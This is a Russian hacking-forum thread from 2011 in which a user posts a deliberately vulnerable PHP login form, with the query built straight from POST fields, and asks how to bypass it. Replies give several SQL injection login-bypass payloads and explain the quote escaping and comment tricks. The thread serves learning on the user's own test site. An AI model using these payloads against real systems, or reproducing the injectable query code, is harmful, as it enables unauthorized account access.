авторизация

Discussion in 'Песочница' started by qaz, 6 May 2011.

  1. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    читал я статью https://forum.antichat.ru/thread43966.html
    и решил попробовать
    1.3 Третий случай (Авторизация)

    сдалал на своём хостинге форму входа
    http://mai1-ru.h2m.ru/yyy.php

    исходный код
    PHP:
    <?session_start();?>
    <html>
    <body text ="black" bgcolor="#8B8989" link ="#FFFF00"  vlink="#FFFF00">

    Авторизация

    </td>

    </tr>
    <?
    if(isset($_GET['logout']))
    {

    session_start();
    unset($_SESSION['id']);
    session_destroy();

    header("Location: yyy.php");
    }
    elseif(isset($_SESSION['id']))
    {
    echo "Вы успешно авторизовались";

    ?>
     <a href='yyy.php?logout'><b>Выйти</b></a>
    <?

    }
    else
    {
    ?>
    <form action = "action.php" method = "post">
    <input type ="hidden" name ="mod" value ="vhod">
    <b>Логин:</b>
    <br>
    <input type="text" name = "user_login"  value="" MAXLENGTH = "10" SIZE = "15">
    <br>
    <b>Пароль:</b>
    <br>
    <input type="password"  name = "user_pass"  value="" MAXLENGTH = "20"  SIZE = "15">
    <br>
    <input type="submit" value="Вход">
    </form>
    <?
    }
    ?>


    </body>
    </html>


    файл action.php

    PHP:
    <?
    session_start();
    include (
    "dbconnect.php");
    $modd = !empty($_POST['mod'])?$_POST['mod']:NULL;
    $e = !empty($_POST['user_login'])?$_POST['user_login']:NULL;
    $er = !empty($_POST['user_pass'])?$_POST['user_pass']:NULL;

    $query "SELECT `id` FROM `user`WHERE `user`='$e' AND `pass`='$er' LIMIT 1";

    $sql mysql_query($query);

    if (
    mysql_num_rows($sql) == 1)

    {

    $row mysql_fetch_assoc($sql);

    $_SESSION['id'] = $row['id'];



    header("Location: yyy.php");
    }


    else

    {
    echo 
    "Такой логин с паролем не найдены в базе данных";
    }
    ?> 


    перепробовал все примеры введения иньекции, но ничего не происходит, почему? в статье штото не правильно написано? покажите мне плыз как и што надо вводить штоб например войти под админом

    login: pass
    user:123
    admin:12345
     
  2. {lIbERT}

    {lIbERT} New Member

    Joined:
    28 Jan 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    ' or '1' = '1
    Авторизация проходит...
     
  3. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    ето в поле пасс писать надо?
     
  4. {lIbERT}

    {lIbERT} New Member

    Joined:
    28 Jan 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    в оба.
     
  5. [RedSky]

    [RedSky] Banned

    Joined:
    4 May 2011
    Messages:
    10
    Likes Received:
    11
    Reputations:
    10
    Потому что, у тебя проверка
    PHP:
    if (mysql_num_rows($sql) == 1)
    Тоесть запрос должен возвращать одну запись
    Вариантов тут много:

    login: 'or(1)limit 1-- a
    password: pew

    login: \
    password: or(1)limit 1-- a


    login: ' union select 1-- a
    password: pew


    При втором варианте ковычка от логина закроется кавычкой от пасса, и в пасс вписывается злозапрос.
    Вы чему людей учите?
     
    #5 [RedSky], 6 May 2011
    Last edited: 6 May 2011
    1 person likes this.
  6. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    ага, тоесть запрос у меня получается такой
    SELECT `id` FROM `user` WHERE `user`= ''or(1)limit 1-- a' AND `pass`= 'pew' LIMIT 1

    а тут or(1)limit 1-- a што значит ета идиница or(1) и буква --а
     
    #6 qaz, 6 May 2011
    Last edited: 6 May 2011
  7. [RedSky]

    [RedSky] Banned

    Joined:
    4 May 2011
    Messages:
    10
    Likes Received:
    11
    Reputations:
    10
    Это значит, что надо открыть ман по майскулу и прочитать. /* Ах да, это же, конечно, хардкорнее чем спрашивать на форуме ;) */
    Добавлением условия or, которое заведомо тру мы возвращаем записи из таблицы, что и требовал от нас для авторизации твой "тру-программерс" код.
    Для чего здесь нужен лимит я уже написал в прошлом посте, чтобы запрос не возвращал больше одной записи(опять-таки условие твоего "кода").
    А "-- " коментарий, после которого должен быть пробел. А что стоит после коментария - это не важно, хоть -- a vot tut lubaya hueta
     
  8. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    а вот такой вопрос
    SELECT `id` FROM `user` WHERE `user`= '' union select 1-- +' AND `pass`= 'pew' LIMIT 1

    ' ' union select 1-- +' AND `pass`= 'pew'

    остаётся одна ковичка которая незакрывается, почему не возникает синтактической ошибки?
     
    #8 qaz, 8 May 2011
    Last edited: 8 May 2011
  9. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Потому что ты комментируешь конец запроса (эту часть: +' AND `pass`= 'pew' LIMIT 1)
     
    _________________________